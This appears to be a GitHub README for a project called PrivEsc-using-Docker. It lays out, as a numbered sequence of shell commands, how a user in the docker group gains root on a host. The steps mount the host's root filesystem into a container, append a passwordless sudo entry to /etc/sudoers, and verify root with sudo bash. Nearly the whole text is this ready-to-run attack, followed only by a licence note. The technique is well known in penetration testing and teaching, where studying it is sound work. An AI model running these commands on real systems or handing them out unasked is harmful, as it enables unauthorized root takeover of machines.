In order for the attack to work, you must have permissions to run docker commands!
To verify if you can run docker commands you can simply run:
docker
- Download the repository:
git clone https://github.com/pnasis/PrivEsc-using-Docker.git
- Create the docker image based on the Dockerfile:
docker build -t privesc .
- Run the image. We mount the root of our file system and put it in the working directory we defined as env variable:
docker run -v /:/privesc -it privesc /bin/bash
- Verify you can see the sudoers file:
cat etc/sudoers
- Add you at the sudoers file:
echo "<user> ALL=(ALL) NOPASSWD: ALL" >> /privesc/etc/sudoers
- Verify that the sudoers file has been altered:
cat /privesc/etc/sudoers
- Exit the shell of the container:
exit
- Verify if you are sudo:
sudo bash
id
whoami
Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.
This project is under the Apache 2.0 licence.